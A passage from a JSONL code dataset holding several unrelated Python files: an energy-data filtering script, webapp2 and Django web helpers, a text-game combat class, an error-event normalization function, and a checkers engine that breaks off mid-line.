range (x.A.count()) : #converting data from DataFrame to lists\r\n\r\n\r\n m = x.iloc[i][0].split(\";\") #Split it to tree numbers\r\n if m[2] == \"\" or float(m[2]) == 0 : #Get ride of blank values of energy\r\n continue\r\n if m[3] == \"\" or float(m[3]) == 0 : #Get ride of blank values of energy\r\n continue\r\n \r\n # float(m[0]) Epaisseur d'entree \r\n # float(m[1]) Epaisseur de sortie\r\n # float(m[2]) Energie consommée \r\n # float(m[3]) PoidsNet de la bobine\r\n # float(m[4]) Largeur de la bobine\r\n # (float(m[2])/float(m[3]))*1000 Energie consommée par tonne \r\n \r\n E = E + [float(m[0])]\r\n En = En + [(float(m[2])/float(m[3]))*float(m[4])]\r\n S = S + [float(m[1])]\r\n \r\n # Pour chaque sortie on associe les différentes entrées possibles et l'énergie qu'ils ont consommées par tonne.\r\n if ( float(m[0]) , rappro(float(m[1])) ) in D.keys() :\r\n D[float(m[0]) , rappro(float(m[1]))] = D[ float(m[0]) , rappro(float(m[1])) ] + [ 1000000*float(m[2])/(float(m[3])*float(m[4])) ]\r\n else :\r\n D[ float(m[0]) , rappro(float(m[1])) ] = [1000000*float(m[2])/(float(m[3])*float(m[4])) ]\r\n \r\n\r\nx = pd.DataFrame({}) #creating a new DataFrame to avoid size problems\r\n\r\n\r\n#uploading data to the new DataFrame\r\n\r\nx [\"entre\"] = E \r\nx [\"sortie\"] = S\r\nx [\"EnP\"] = En\r\n\r\n\r\nrep=0\r\n\r\n#Boucle de filtrage\r\n\r\nfor (ent,sor) in D.keys() :\r\n # if rep == 10 :\r\n # break\r\n rep = rep +1\r\n if len(D[ent,sor]) < 5 : #condition sur la quantité de données initiale\r\n continue\r\n D[ent,sor].sort()\r\n \r\n #présenter les données qu'on a par défault\r\n \r\n X = [] ; Y = []\r\n \r\n # ent = 2.2\r\n # sor = 0.9\r\n \r\n # while not (ent , sor) in D.keys() :\r\n # print(\"__________entrer des valeurs valides__________\")\r\n # ent = float(input(\"Entrer l'épaisseur d'entrée : \"))\r\n # sor = float(input(\"Entrer l'épaisseur de sortie : \"))\r\n # \r\n \r\n # for i in range(len(D[ent, sor])):\r\n # X = X + [i+1]\r\n # Y = Y + [D[ent, sor][i]]\r\n # \r\n # \r\n # plt.scatter(X,Y)\r\n # plt.xlabel(\"entree \"+ str(ent) )\r\n # plt.ylabel(\"sortie \"+ str(sor) )\r\n # plt.show()\r\n # \r\n #Eliminer les données non désirées\r\n ecart = 5\r\n j=0\r\n Lt = []\r\n L = D[ent , sor ]\r\n \r\n \r\n \r\n for i in range(len(L)) :\r\n if i == len(L)-1 :\r\n Lt = Lt + [L[j:i+1]]\r\n break\r\n\r\n \r\n diff = L[i+1] -L[i]\r\n\r\n if diff >= ecart :\r\n Lt = Lt + [L[j:i+1]]\r\n j = i+1\r\n \r\n \r\n \r\n j = 0\r\n if Lt != [] :\r\n for i in range(len(Lt)):\r\n if len(Lt[i]) > len(Lt[j]) :\r\n j=i\r\n if len(Lt[j]) < 3 : #condition sur la quantité de données sorties\r\n continue\r\n D [ent , sor ] = Lt[j]\r\n \r\n \r\n #le résultat finale\r\n \r\n \r\n # X = [] ; Y = [] ; plt.clf()\r\n # \r\n # for i in range(len(D[ent, sor])):\r\n # X = X + [i+1]\r\n # Y = Y + [D[ent, sor][i]]\r\n # \r\n # \r\n # plt.scatter(X,Y)\r\n # plt.xlabel(\"entree \"+ str(ent) )\r\n # plt.ylabel(\"sortie \"+ str(sor) )\r\n # plt.show()\r\n # plt.clf()\r\n # \r\n \r\n\r\n \r\n#Stocker les données filtrés dans un fichier csv\r\n \r\nX = [] ; Y = [] ; Z = []\r\n \r\nfor elt in D.keys() :\r\n X = X + [elt[0]]\r\n Y = Y + [elt[1]]\r\n Z = Z + [average(D[elt[0],elt[1]])]\r\n \r\n \r\n# Ded = {\"entree\" : [] , \"sortie\" : [] , \"Energie Moy\" : [] }\r\n\r\ny = pd.DataFrame({} ) \r\ny[\"entree\"] = X\r\ny[\"Sortie\"] = Y\r\ny[\"Energie Moy\"] = Z \r\n\r\n\r\n\r\ny.to_csv(out, sep='\\t', encoding='utf-8') \r\n\r\n\r\n\r\n\r\n#Dessiner les résultats en 3D\r\n\r\n\r\n# fig = plt.figure()\r\n# ax = fig.add_subplot(111 , projection = '3d')\r\n# ax.scatter(X,Y,Z)\r\n# \r\n# ax.set_xlabel(\"Entree\")\r\n# ax.set_ylabel(\"Sortie\")\r\n# ax.set_zlabel(\"Energie Moy\")\r\n# \r\n# \r\n# plt.show()\r\n# \r\n# \r\n# \r\n\r\n\r\n \r\n\r\nstop = timeit.default_timer()\r\nprint('Time: ', stop - start)\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n # \r\n # ecart = 5\r\n # \r\n # L = [87.79035139964265, 79.34352009054896, 76.44991212653778, 87.66274023558586, 72.05142537730576, 73.69337979094077, 65.37330981775426, 85.00861573808156, 83.77935554341889, 81.26084441873915, 77.90802524797115, 85.09615384615385, 84.2369020501139, 75.46816479400749, 84.79906814210833, 57.7324973876698, 81.79223744292237, 87.0177267987487, 88.91235480464626, 88.73826903023983, 85.26148969889066, 84.59556929417826, 88.32432432432432, 80.52493438320211, 87.15313463514903, 85.8564693556836, 85.12092534174553, 81.12937812723374, 81.47945205479452, 84.90432317505315, 78.96678966789668]\r\n # \r\n # # L = [0,1,2,3,4,5,11,12,13,15,21,22,23,26,35]\r\n # \r\n # j=0\r\n # Lt = []\r\n # L.sort()\r\n # \r\n # \r\n # \r\n # for i in range(len(L)) :\r\n # if i == len(L)-1 :\r\n # Lt = Lt + [L[j:i+1]]\r\n # break\r\n\r\n ## \r\n # diff = L[i+1] -L[i]\r\n\r\n ## if diff >= ecart :\r\n # Lt = Lt + [L[j:i+1]]\r\n # j = i+1\r\n # \r\n # \r\n # \r\n # j = 0\r\n # if Lt != [] :\r\n # for i in range(len(Lt)):\r\n # if len(Lt[i]) > len(Lt[j]) :\r\n # j=i\r\n # \r\n # print(Lt[j])\r\n # ","sub_path":"calcul.py","file_name":"calcul.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"359425061","text":"#!/usr/bin/env python\r\n#\r\n# Copyright 2007 Google Inc.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n#\r\nimport webapp2\r\n# importing jinja\r\nimport jinja2\r\nimport os\r\n\r\n# setting the dir of the template = actual pos + templates\r\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\r\n# setting jinja enviroment\r\njinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir),\r\n\t\t\t\t\t\t\t\tautoescape=True) # autoscape\r\n\r\n\r\nform_html=\"\"\"\r\n
\r\n

Add a food

\r\n\r\n%s\r\n\r\n
\r\n\"\"\"\r\n\r\nhidden_html = \"\"\"\r\n\r\n\"\"\"\r\n\r\nitems_html = \"
  • %s
  • \"\r\n\r\n\r\nshopping_list_html = \"\"\"\r\n
    \r\n
    \r\n

    Shopping List

    \r\n
      \r\n%s\r\n
    \r\n\"\"\"\r\n\r\n# helper class with helper functions\r\nclass Handler(webapp2.RequestHandler):\r\n\r\n\tdef write(self, *a, **kw) :\r\n\r\n\t\tself.response.out.write(*a, **kw)\r\n\r\n\t# create a jinja template from a file\r\n\tdef render_str(self, template, **params) :\r\n\r\n\t\tt = jinja_env.get_template(template)\r\n\t\treturn t.render(params)\r\n\r\n\tdef render(self, template, **kw) :\r\n\r\n\t\tself.write(self.render_str(template, **kw))\r\n\r\n# normal class that inherit from handler \r\nclass MainHandler(Handler) :\r\n\r\n\tdef get(self) :\r\n\r\n\t\t# save in a list all the values of food in the get parameters\r\n\t\titems = self.request.get_all(\"food\")\r\n\r\n\t\tself.render(\"shopping_list.html\", items=items)\r\n\r\nclass FizzBuzzHandler(Handler) :\r\n\r\n\tdef get(self) :\r\n\r\n\t\t# 0 is the default value\r\n\t\tn = self.request.get(\"n\", 0)\r\n\r\n\t\tif n and n.isdigit() :\r\n\r\n\t\t\tn = int(n)\r\n\r\n\t\tself.render(\"fizzbuzz.html\", n=n)\r\n\r\n\r\n\r\napp = webapp2.WSGIApplication([\r\n ('/', MainHandler),\r\n ('/fizzbuzz', FizzBuzzHandler)\r\n], debug=True)\r\n","sub_path":"pueba-jp/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"518516459","text":"from django import template\nfrom django import forms\nfrom django.contrib.admin.widgets import AdminDateWidget\nfrom django.contrib.admin.templatetags.admin_list import result_headers, result_hidden_fields, results\n\nregister = template.Library()\n\n\n@register.inclusion_tag(\"change_list_results_entrada_generales.html\")\ndef result_list_entrada_general(cl):\n \"\"\"\n Displays the headers and data list together\n \"\"\"\n headers = list(result_headers(cl))\n num_sorted_fields = 0\n for h in headers:\n if h['sortable'] and h['sorted']:\n num_sorted_fields += 1\n return {'cl': cl,\n 'result_hidden_fields': list(result_hidden_fields(cl)),\n 'result_headers': headers,\n 'num_sorted_fields': num_sorted_fields,\n 'results': list(results(cl))}\n\n\n@register.inclusion_tag(\"change_list_results_pago_empleados.html\")\ndef result_list_pago_empleado(cl):\n \"\"\"\n Displays the headers and data list together\n \"\"\"\n headers = list(result_headers(cl))\n num_sorted_fields = 0\n for h in headers:\n if h['sortable'] and h['sorted']:\n num_sorted_fields += 1\n return {'cl': cl,\n 'result_hidden_fields': list(result_hidden_fields(cl)),\n 'result_headers': headers,\n 'num_sorted_fields': num_sorted_fields,\n 'results': list(results(cl))}\n\n\n@register.filter('klass')\ndef klass(ob):\n return ob.__class__.__name__\n\n\n@register.filter('is_radio')\ndef is_radio(field):\n return isinstance(field.field.field.widget, forms.RadioSelect)\n\n\n@register.filter('is_date')\ndef is_date(field):\n return isinstance(field.field.field.widget, AdminDateWidget)\n\n\n@register.filter(name='add_class')\ndef add_css(field, css):\n return field.as_widget(attrs={\"class\": css, \"placeholder\": field.label})\n\n\n@register.inclusion_tag('submit_line.html', takes_context=True)\ndef submit_row_movement(context):\n \"\"\"\n Displays the row of buttons for delete and save.\n \"\"\"\n is_calculate = False\n opts = context['opts']\n change = context['change']\n is_popup = context['is_popup']\n save_as = context['save_as']\n ctx = {\n 'opts': opts,\n 'show_delete_link': (\n not is_popup and context['has_delete_permission'] and\n change and context.get('show_delete', True)\n ),\n 'show_calculate_button': (\n change\n ),\n 'show_save_as_new': not is_popup and change and save_as,\n 'show_save_and_add_another': (\n context['has_add_permission'] and not is_popup and\n (not save_as or context['add'])\n ),\n 'show_save_and_continue': not is_popup and context['has_change_permission'],\n 'is_popup': is_popup,\n 'show_save': True,\n 'preserved_filters': context.get('preserved_filters'),\n 'is_calculate': is_calculate,\n }\n if context.get('original') is not None:\n ctx['original'] = context['original']\n return ctx","sub_path":"control_de_vapores/templatetags/cdv_tags.py","file_name":"cdv_tags.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"129573567","text":"import random\nimport Reader\nfrom time import sleep as spanko_na_podusi\nfrom Event import Event\nfrom NPC import NPC\nfrom Item import Item\nimport UI\n\nclass CombatEvent(Event):\n\tdef __init__(self,msg, npc):\n\t\tsuper(CombatEvent, self).__init__(msg)\n\t\tself.npc = npc\n\n\tdef do(self, player):\n\t\tplayer_attack = 0\n\t\tfor item in player.equipment:\n\t\t\tplayer_attack+=item.strength\n\n\t\tnpc_attack = 0\n\t\tfor item in self.npc.equipment:\n\t\t\tnpc_attack+=item.strength\n\n\t\twhile player.hp > 0 and self.npc.hp >0:\n\t\t\tself.npc.hp -= player_attack + random.randint(-2,2)\n\t\t\tUI.msg_str(\"Enemy has\" + str(self.npc.hp) + \"hp.\")\n\t\t\tspanko_na_podusi(0.1)\n\t\t\tplayer.hp -= npc_attack + random.randint(-2,2)\n\t\t\tUI.msg_str(\"You have\" + str(player.hp) + \"hp.\")\n\t\t\tspanko_na_podusi(0.1)\n\n\t\tif player.hp <= 0:\n\t\t\tUI.msg_death(self.npc)\n\n\t@staticmethod\n\tdef generate():\n\t\tdescription = random.choice(Reader.event_desc_list)\n\n\t\tnpc_item = [Item.generate()]\n\t\tnpc_item[0].strength=30\n\t\tnpc_name = random.choice(Reader.npc_name_list)\n\t\tnpc_msg = 'ARGH!!!'\n\t\tnpc = NPC(npc_item,npc_name,npc_msg)\n\n\t\treturn CombatEvent(description, npc)\n","sub_path":"src/CombatEvent.py","file_name":"CombatEvent.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"67169373","text":"\n\ndef normalize(self):\n if self._normalized:\n raise RuntimeError('Already normalized')\n self._normalized = True\n if ENABLE_RUST:\n from semaphore.processing import StoreNormalizer\n rust_normalizer = StoreNormalizer(geoip_lookup=rust_geoip, project_id=(self._project.id if self._project else None), client_ip=self._client_ip, client=(self._auth.client if self._auth else None), is_public_auth=(self._auth.is_public if self._auth else False), key_id=(six.text_type(self._key.id) if self._key else None), protocol_version=(six.text_type(self.version) if (self.version is not None) else None), stacktrace_frames_hard_limit=settings.SENTRY_STACKTRACE_FRAMES_HARD_LIMIT, max_stacktrace_frames=settings.SENTRY_MAX_STACKTRACE_FRAMES, valid_platforms=list(VALID_PLATFORMS), max_secs_in_future=MAX_SECS_IN_FUTURE, max_secs_in_past=MAX_SECS_IN_PAST, enable_trimming=ENABLE_TRIMMING)\n self._data = CanonicalKeyDict(rust_normalizer.normalize_event(dict(self._data)))\n normalize_user_agent(self._data)\n return\n data = self._data\n text = six.text_type\n\n def to_values(v):\n return ({\n 'values': v,\n } if (v and isinstance(v, (tuple, list))) else v)\n casts = {\n 'environment': (lambda v: (text(v) if (v is not None) else v)),\n 'event_id': (lambda v: v.lower()),\n 'fingerprint': cast_fingerprint,\n 'release': (lambda v: (text(v) if (v is not None) else v)),\n 'dist': (lambda v: (text(v).strip() if (v is not None) else v)),\n 'time_spent': (lambda v: (int(v) if (v is not None) else v)),\n 'tags': (lambda v: [(text(v_k).replace(' ', '-').strip(), text(v_v).strip()) for (v_k, v_v) in dict(v).items()]),\n 'platform': (lambda v: (v if (v in VALID_PLATFORMS) else 'other')),\n 'logentry': (lambda v: ({\n 'message': v,\n } if (v and (not isinstance(v, dict))) else (v or None))),\n 'exception': to_values,\n 'breadcrumbs': to_values,\n 'threads': to_values,\n }\n meta = Meta(data.get('_meta'))\n for c in casts:\n value = data.pop(c, None)\n if (value is not None):\n try:\n data[c] = casts[c](value)\n except Exception as e:\n meta.enter(c).add_error(EventError.INVALID_DATA, value, {\n 'reason': six.text_type(e),\n })\n data['timestamp'] = process_timestamp(data.get('timestamp'), meta.enter('timestamp'))\n if self._client_ip:\n if (get_path(data, 'request', 'env', 'REMOTE_ADDR') == '{{auto}}'):\n data['request']['env']['REMOTE_ADDR'] = self._client_ip\n if (get_path(data, 'user', 'ip_address') == '{{auto}}'):\n data['user']['ip_address'] = self._client_ip\n validate_and_default_interface(data.data, 'event', meta=meta)\n if (data.get('tags') is not None):\n validate_and_default_interface(data['tags'], 'tags', name='tags', meta=meta.enter('tags'))\n for k in list(iter(data)):\n if (k in CLIENT_RESERVED_ATTRS):\n continue\n value = data.pop(k)\n if ((not value) or (k in CLIENT_IGNORED_ATTRS)):\n continue\n try:\n interface = get_interface(k)\n except ValueError:\n logger.debug('Ignored unknown attribute: %s', k)\n meta.enter(k).add_error(EventError.INVALID_ATTRIBUTE)\n continue\n normalized = interface.normalize(value, meta.enter(k))\n if normalized:\n data[interface.path] = normalized\n if self._for_store:\n if (self._project is not None):\n data['project'] = self._project.id\n if (self._key is not None):\n data['key_id'] = self._key.id\n if (self._auth is not None):\n data['sdk'] = (data.get('sdk') or parse_client_as_sdk(self._auth.client))\n level = (data.get('level') or DEFAULT_LOG_LEVEL)\n if (isinstance(level, int) or (isinstance(level, six.string_types) and level.isdigit())):\n level = LOG_LEVELS.get(int(level), DEFAULT_LOG_LEVEL)\n if (level not in LOG_LEVELS_MAP):\n level = DEFAULT_LOG_LEVEL\n data['level'] = level\n if (data.get('dist') and (not data.get('release'))):\n data['dist'] = None\n timestamp = data.get('timestamp')\n if (not timestamp):\n timestamp = timezone.now()\n if isinstance(timestamp, datetime):\n if settings.TIME_ZONE:\n if (not timezone.is_aware(timestamp)):\n timestamp = timestamp.replace(tzinfo=timezone.utc)\n elif timezone.is_aware(timestamp):\n timestamp = timestamp.replace(tzinfo=None)\n timestamp = float(timestamp.strftime('%s'))\n data['timestamp'] = timestamp\n data['received'] = float(timezone.now().strftime('%s'))\n setdefault_path(data, 'extra', value={\n \n })\n setdefault_path(data, 'logger', value=DEFAULT_LOGGER_NAME)\n setdefault_path(data, 'tags', value=[])\n if (not data.get('environment')):\n tagsdict = dict(data['tags'])\n if ('environment' in tagsdict):\n data['environment'] = tagsdict['environment']\n del tagsdict['environment']\n data['tags'] = tagsdict.items()\n data['type'] = eventtypes.infer(data).key\n data['version'] = self.version\n exceptions = get_path(data, 'exception', 'values', filter=True)\n stacktrace = data.get('stacktrace')\n if (stacktrace and exceptions and (len(exceptions) == 1)):\n exceptions[0]['stacktrace'] = stacktrace\n stacktrace_meta = meta.enter('stacktrace')\n meta.enter('exception', 'values', 0, 'stacktrace').merge(stacktrace_meta)\n del data['stacktrace']\n if exceptions:\n sdk_info = get_sdk_from_event(data)\n for ex in exceptions:\n if ('mechanism' in ex):\n normalize_mechanism_meta(ex['mechanism'], sdk_info)\n normalize_user_agent(data)\n if (not get_path(data, 'user', 'ip_address')):\n is_public = (self._auth and self._auth.is_public)\n add_ip_platforms = ('javascript', 'cocoa', 'objc')\n http_ip = get_path(data, 'request', 'env', 'REMOTE_ADDR')\n if http_ip:\n set_path(data, 'user', 'ip_address', value=http_ip)\n elif (self._client_ip and (is_public or (data.get('platform') in add_ip_platforms))):\n set_path(data, 'user', 'ip_address', value=self._client_ip)\n if data.get('logger'):\n data['logger'] = trim(data['logger'].strip(), 64)\n if data.get('extra'):\n trim_dict(data['extra'], max_size=settings.SENTRY_MAX_EXTRA_VARIABLE_SIZE)\n if data.get('culprit'):\n data['culprit'] = trim(data['culprit'], MAX_CULPRIT_LENGTH)\n if data.get('transaction'):\n data['transaction'] = trim(data['transaction'], MAX_CULPRIT_LENGTH)\n site = data.pop('site', None)\n if (site is not None):\n set_tag(data, 'site', site)\n server_name = data.pop('server_name', None)\n if (server_name is not None):\n set_tag(data, 'server_name', server_name)\n for key in ('fingerprint', 'modules', 'tags', 'extra', 'contexts'):\n if (not data.get(key)):\n data.pop(key, None)\n errors = (data.get('errors') or [])\n add_meta_errors(errors, meta)\n add_meta_errors(errors, meta.enter('tags'))\n if errors:\n data['errors'] = errors\n elif ('errors' in data):\n del data['errors']\n if meta.raw():\n data['_meta'] = meta.raw()\n elif ('_meta' in data):\n del data['_meta']\n self._data = CanonicalKeyDict(prune_empty_keys(data))\n","sub_path":"Data Set/bug-fixing-2/680e5a3d126fdd93b85b7fa22bfb0a5036f0e6f1--fix.py","file_name":"680e5a3d126fdd93b85b7fa22bfb0a5036f0e6f1--fix.py","file_ext":"py","file_size_in_byte":7646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"148729364","text":"import time\n\nimport numpy as np\n\n\nclass Checkers(object):\n def __init__(self, maxTurns=300):\n self.turn = 0\n self.maxTurns = maxTurns\n self.dimensions = (10, 10)\n board, allies, opponents = self.initialState()\n self.gameBoard = {\n \"board\": board,\n \"allies\": allies,\n \"opponents\": opponents\n }\n self.currentDirections, self.otherDirections = Checkers.upward(), Checkers.downward()\n\n def initialState(self):\n board = self.createAndLinkSquares()\n allies, opponents = self.fillSquares(board)\n return board, allies, opponents\n\n def createAndLinkSquares(self):\n board = {}\n for j in range(self.dimensions[1]):\n for i in range(self.dimensions[0]):\n if j % 2 == 0:\n if i % 2 == 0:\n board[(i, j)] = {}\n else:\n if i % 2 == 1:\n board[(i, j)] = {}\n for coordinates in board:\n directions = Checkers.allDirectionCoordinates(coordinates)\n directionNames = Checkers.allDirections()\n neighbors = {}\n for d in zip(directionNames, directions):\n if d[1] in board:\n neighbors[d[0]] = d[1]\n board[coordinates] = neighbors\n return board\n\n def fillSquares(self, board):\n opponents = {}\n allies = {}\n for coordinates in board:\n if coordinates[1] < 4:\n allies[coordinates] = \"Pawn\"\n elif coordinates[1] > 5:\n opponents[coordinates] = \"Pawn\"\n return allies, opponents\n\n @staticmethod\n def treeOfPlays(gameBoard, currentDirections):\n allies = gameBoard[\"allies\"]\n captures = {}\n atLeastOneCapture = False\n for coordinates in allies:\n possibilities = []\n if allies[coordinates] == \"Pawn\":\n possibilities = Checkers.sweepPawnCaptures(gameBoard, coordinates, {})\n elif allies[coordinates] == \"King\":\n possibilities = Checkers.sweepKingCaptures(gameBoard, coordinates, {})\n if possibilities:\n captures[coordinates] = possibilities\n if not atLeastOneCapture:\n atLeastOneCapture = True\n moves = {}\n if not atLeastOneCapture:\n for coordinates in allies:\n if allies[coordinates] == \"Pawn\":\n possibilities = Checkers.sweepPawnMoves(gameBoard, coordinates, currentDirections)\n elif allies[coordinates] == \"King\":\n possibilities = Checkers.sweepKingMoves(gameBoard, coordinates)\n if possibilities:\n moves[coordinates] = possibilities\n plays = {\n \"captures\": Checkers.admissibleCaptures(captures),\n \"moves\": moves,\n }\n return plays\n\n @staticmethod\n def sweepPawnMoves(gameBoard, startCoordinates, allowedDirections):\n moves = {}\n board = gameBoard[\"board\"]\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n for direction in board[startCoordinates]:\n if direction in allowedDirections:\n nextCoordinates = board[startCoordinates][direction]\n if nextCoordinates not in allies and nextCoordinates not in opponents:\n moves[nextCoordinates] = {}\n return moves\n\n @staticmethod\n def sweepPawnCaptures(gameBoard, startCoordinates, jumpedOpponents):\n captures = {}\n board = gameBoard[\"board\"]\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n for direction in board[startCoordinates]:\n nextCoordinates = board[startCoordinates][direction]\n if nextCoordinates not in allies and nextCoordinates in opponents and nextCoordinates not in jumpedOpponents:\n if direction in board[nextCoordinates]:\n endCoordinates = board[nextCoordinates][direction]\n if endCoordinates not in opponents and endCoordinates not in allies:\n newJumpedOpponents = jumpedOpponents.copy()\n newJumpedOpponents[nextCoordinates] = {}\n captures[(nextCoordinates, endCoordinates)] = Checkers.sweepPawnCaptures(gameBoard,\n endCoordinates,\n newJumpedOpponents)\n return captures\n\n @staticmethod\n def sweepKingMoves(gameBoard, startCoordinates):\n moves = {}\n board = gameBoard[\"board\"]\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n for direction in board[startCoordinates]:\n nextCoordinates = board[startCoordinates][direction]\n nCInBoard = True\n while nCInBoard and nextCoordinates not in opponents and nextCoordinates not in allies:\n moves[nextCoordinates] = {}\n if direction in board[nextCoordinates]:\n nextCoordinates = board[nextCoordinates][direction]\n else:\n nCInBoard = False\n return moves\n\n @staticmethod\n def sweepKingCaptures(gameBoard, startCoordinates, jumpedOpponents, forbiddenDirection=None):\n captures = {}\n board = gameBoard[\"board\"]\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n for direction in board[startCoordinates]:\n if direction != forbiddenDirection:\n nextCoordinates = board[startCoordinates][direction]\n validNC = True\n while validNC and nextCoordinates not in allies:\n if nextCoordinates in opponents:\n if direction in board[nextCoordinates] and nextCoordinates not in jumpedOpponents:\n endCoordinates = board[nextCoordinates][direction]\n validEC = True\n while validEC and endCoordinates not in opponents and endCoordinates not in allies:\n newJumpedOpponents = jumpedOpponents.copy()\n newJumpedOpponents[nextCoordinates] = {}\n captures[(nextCoordinates, endCoordinates)] = Checkers.sweepKingCaptures(gameBoard,\n endCoordinates,\n newJumpedOpponents,\n Checkers.oppositeDirection(\n direction))\n if direction in board[endCoordinates]:\n endCoordinates = board[endCoordinates][direction]\n else:\n validEC = False\n if direction in board[nextCoordinates]:\n nextCoordinates = board[nextCoordinates][direction]\n else:\n validNC = False\n return captures\n\n @staticmethod\n def admissibleCaptures(tree):\n if not tree:\n return {}\n else:\n admissibleTree = {}\n maxHeight = -1\n for node in tree:\n height = Checkers.heightOfTree(tree[node])\n if height > maxHeight:\n admissibleTree = {node: tree[node]}\n maxHeight = height\n elif height == maxHeight:\n admissibleTree[node] = tree[node]\n for node in admissibleTree:\n admissibleTree[node] = Checkers.admissibleCaptures(admissibleTree[node])\n return admissibleTree\n\n @staticmethod\n def heightOfTree(tree):\n if not tree:\n return 0\n else:\n heights = []\n for node in tree:\n heights.append(Checkers.heightOfTree(tree[node]))\n return 1 + max(heights)\n\n @staticmethod\n def listOfPaths(tree):\n if not tree:\n paths = [[]]\n else:\n paths = []\n for node in tree:\n subPaths = Checkers.listOfPaths(tree[node])\n for path in subPaths:\n path.append(node)\n paths.append(path)\n return paths\n\n @staticmethod\n def upRight():\n return \"upRight\"\n\n @staticmethod\n def upLeft():\n return \"upLeft\"\n\n @staticmethod\n def downRight():\n return \"downRight\"\n\n @staticmethod\n def downLeft():\n return \"downLeft\"\n\n @staticmethod\n def upward():\n return [Checkers.upRight(), Checkers.upLeft()]\n\n @staticmethod\n def downward():\n return [Checkers.downRight(), Checkers.downLeft()]\n\n @staticmethod\n def allDirections():\n return [Checkers.upRight(), Checkers.upLeft(), Checkers.downRight(), Checkers.downLeft()]\n\n @staticmethod\n def allDirectionCoordinates(coordinates):\n return [(coordinates[0] + 1, coordinates[1] + 1), (coordinates[0] - 1, coordinates[1] + 1),\n (coordinates[0] + 1, coordinates[1] - 1),\n (coordinates[0] - 1, coordinates[1] - 1)]\n\n @staticmethod\n def oppositeDirection(direction):\n if direction == Checkers.upRight():\n return Checkers.downLeft()\n elif direction == Checkers.upLeft():\n return Checkers.downRight()\n elif direction == Checkers.downLeft():\n return Checkers.upRight()\n elif direction == Checkers.downRight():\n return Checkers.upLeft()\n else:\n return \"Error !\"\n\n @staticmethod\n def moveToken(allies, startCoordinates, endCoordinates):\n allies[endCoordinates] = allies.pop(startCoordinates)\n\n @staticmethod\n def captureToken(allies, opponents, startCoordinates, opponentCoordinates, endCoordinates):\n Checkers.moveToken(allies, startCoordinates, endCoordinates)\n opponents.pop(opponentCoordinates)\n\n @staticmethod\n def stateAfterMove(gameBoard, play, currentDirections):\n allies = gameBoard[\"allies\"]\n startCoordinates = play.pop()\n endCoordinates = play.pop()\n Checkers.moveToken(allies, startCoordinates, endCoordinates)\n if currentDirections == Checkers.upward():\n yMax = 9\n else:\n yMax = 0\n if endCoordinates[1] == yMax and allies[endCoordinates] == \"Pawn\":\n allies[endCoordinates] = \"King\"\n return gameBoard\n\n @staticmethod\n def stateAfterCapture(gameBoard, play, currentDirections):\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n startCoordinates = play.pop()\n while play:\n opponentCoordinates, endCoordinates = play.pop()\n Checkers.captureToken(allies, opponents, startCoordinates, opponentCoordinates,\n endCoordinates)\n startCoordinates = endCoordinates\n if currentDirections == Checkers.upward():\n yMax = 9\n else:\n yMax = 0\n if endCoordinates[1] == yMax and allies[endCoordinates] == \"Pawn\":\n allies[endCoordinates] = \"King\"\n return gameBoard\n\n def __str__(self):\n aString = \"Board :\\n\"\n for s in self.gameBoard[\"board\"]:\n aString += str(s) + \"\\n\" + str(self.gameBoard[\"board\"][s]) + \"\\n\"\n return aString\n\n @staticmethod\n def overview(gameBoard, reversedView=False):\n board = gameBoard[\"board\"]\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n boardMatrix = [[\".\" for i in range(10)] for j in range(10)]\n for j in range(10):\n for i in range(10):\n if (i, j) in board:\n if (i, j) in allies:\n if allies[(i, j)] == \"Pawn\":\n boardMatrix[j][i] = \"O\"\n else:\n boardMatrix[j][i] = \"Q\"\n elif (i, j) in opponents:\n if opponents[(i, j)] == \"Pawn\":\n boardMatrix[j][i] = \"X\"\n else:\n boardMatrix[j][i] = \"K\"\n if reversedView:\n return np.transpose(boardMatrix).tolist()\n else:\n return boardMatrix\n\n @staticmethod\n def potentialStates(gameBoard, currentDirections):\n board = gameBoard[\"board\"]\n allies = gameBoard[\"allies\"]\n opponents = gameBoard[\"opponents\"]\n treeOfPlays = Checkers.treeOfPlays(gameBoard, currentDirections)\n states = []\n captures = treeOfPlays[\"captures\"]\n moves = treeOfPlays[\"moves\"]\n if captures:\n listOfPlays = Checkers.listOfPaths(captures)\n for play in listOfPlays:\n cGameBoard = {\n \"board\": board,\n \"allies\": allies.copy(),\n \"opponents\": opponents.copy()\n }\n states.append(Checkers.stateAfterCapture(cGameBoard, play, currentDirections))\n elif moves:\n listOfPlays = Checkers.listOfPaths(moves)\n for play in listOfPlays:\n cGameBoard = {\n \"board\": board,\n \"allies\": allies.copy(),\n \"opponents\": opponents.copy()\n }\n states.append(Checkers.stateAfterMove(cGameBoard, play, currentDirections))\n return states\n\n def play(self, whitePlayer, blackPlayer):\n canPlay = True\n tS = time.time()\n while canPlay and self.turn < self.maxTurns:\n print(\"Current turn : \" + str(self.turn))\n if self.turn % 2 == 0:\n print(\"Whites' turn.\")\n play = 